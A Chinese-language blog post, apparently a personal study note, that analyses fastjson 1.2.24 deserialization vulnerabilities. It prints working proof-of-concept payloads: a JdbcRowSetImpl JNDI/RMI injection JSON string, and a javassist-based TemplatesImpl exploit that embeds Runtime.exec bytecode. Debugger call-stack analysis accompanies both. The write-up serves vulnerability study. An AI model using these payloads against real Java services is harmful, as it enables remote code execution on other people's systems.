fastjson反序列化漏洞学习

前言

fastjson反序列化,JAVA安全绕不过的坎。

反序列化原理

一般情况下,fastjson反序列化的结果是一个JSONObject的对象,但在序列化时设置SerializerFeatureWriteClassName,序列化的字符串就会多一个@type的键值对,在反序列化时就会按照@type的值,返回相应的对象。

实验代码和运行结果如下,可以看到当反序列化的方法为parseparseObject且传入参数为json字符串和Class实例时,会自动调用给定类的构造方法和setter方法;当放序列化方法为parseObject且只传入json字符串时,会调用给定类的构造方法、setter方法和全部的getter方法。

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args){
TestClass testClass = new TestClass();
String json = JSON.toJSONString(testClass, SerializerFeature.WriteClassName);
System.out.println(json);
System.out.println("---------------------------");
JSON.parse(json);
System.out.println("---------------------------");
JSON.parseObject(json);
System.out.println("---------------------------");
JSON.parseObject(json,TestClass.class);
}

综上,构造payload的入口类的构造方法、setter方法或getter方法需要具有实现想要功能的代码,或可通过这些方法跳转到中间衔接类或目的实现类。

POC分析

fastjson在1.2.24下有两个通用的payload:JdbcRowSetImplTemplatesImpl

JdbcRowSetImpl

从以下payload可以看出是通过JNDI注入实现命令执行的,搭好RMI服务后,在Runtimeexec方法下个断点。

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:8888/Calc","autoCommit":true}

调用栈很简单,在setAutoCommit方法调用connnet方法,而connnet方法又使用我们设置的JNDI字符串调用lookup方法,加载恶意的工厂类导致命令执行。当然也因为是JNDI的利用方式,在一些低版本JDK环境下才能利用成功。

TemplatesImpl

TemplatesImpl的POC构造比JdbcRowSetImpl复杂些,而且对反序列化的SerializerFeature参数有要求,使用parseObject时需要JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)parse方法时需要JSON.parse(json,Feature.SupportNonPublicField),但好处就是无需出网加载恶意类。

下面是利用代码,同样在exec方法下断点继续调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Templates {
public static void main(String args[]) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(evil.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(code);
String randomClassName = "p1ay2win" + System.nanoTime();
ctClass.setName(randomClassName);
ctClass.setSuperclass((classPool.get(AbstractTranslet.class.getName())));

byte[] evilCode = ctClass.toBytecode();
String encode = Base64.encodeBase64String(evilCode);
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"" + encode + "\"], \"_name\": \"p1ya2win\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
System.out.println(json);
JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
}

public static class evil {
}
}

调用栈显示设置outputProperties而调用它的setter方法,接着再陆续调用newTransformer方法和getTransletInstance方法。主要的代码在getTransletInstance方法中,实例化_class数组里相应的Class实例。而_class数组我们是没有在json中设置的,它的赋值是在上面的defineTransletClasses方法。

跟进defineTransletClasses方法,会通过TransletClassLoaderdefineClass将我传入的_bytecodes字节转换为Class实例,但在这之前和之后会调用_tfactory的方法和判断_transletIndex是否小于0。这时可以利用fastjson自动实例化传空值的属性的类型的特性,将_tfactory初始化,然后_transletIndex的问题,可以令恶意类的父类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl在if里给_transletIndex赋值。还有个_name属性,在getTransletInstance方法里判断为空则会返回空,不会进入到实例化的方法里,在这里给_name属性赋任意字符串值即可。

还有个问题就是,payload里_bytecodes的值为数组套个base64的字符串,但在TemplatesImpl里_bytecodes的类型是二维数组字节。通过别的文章得知fastjson是使用自己的IOUtils工具类实现base64解码的,在相应的方法下断点。ObjectArrayCodecdeserialze方法调用JSONScannerbytesVAlues方法进行base64解码。

再往上几层跟进到DefaultFieldDeserializerparseField方法,根据不同的fieldValueDeserilizer值通过deserialze反序列化获取属性的值。而fieldValueDeserilizer的值又是从ParserConfiggetDeserializer方法获取,在这个方法里,数组类型的属性会返回ObjectArrayCodec实例的derializerObjectArrayCodec会像调用栈所示那样,对数组类型属性的base64值解码还原。

属性的问题明了了,回到TemplatesImplgetTransletInstance方法,实例化_classClass实例数组里的类,执行类恶意类里的静态方法,至此利用结束。

后记

平庸这东西犹如白衬衣上的污痕,一旦染上便永远洗不掉,无可挽回

参考

https://y4er.com/post/fastjson-learn/

https://www.cnblogs.com/chengez/p/14789477.html

https://www.cnblogs.com/0x7e/p/14400933.html

https://paper.seebug.org/1242/#commonscollections-2

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×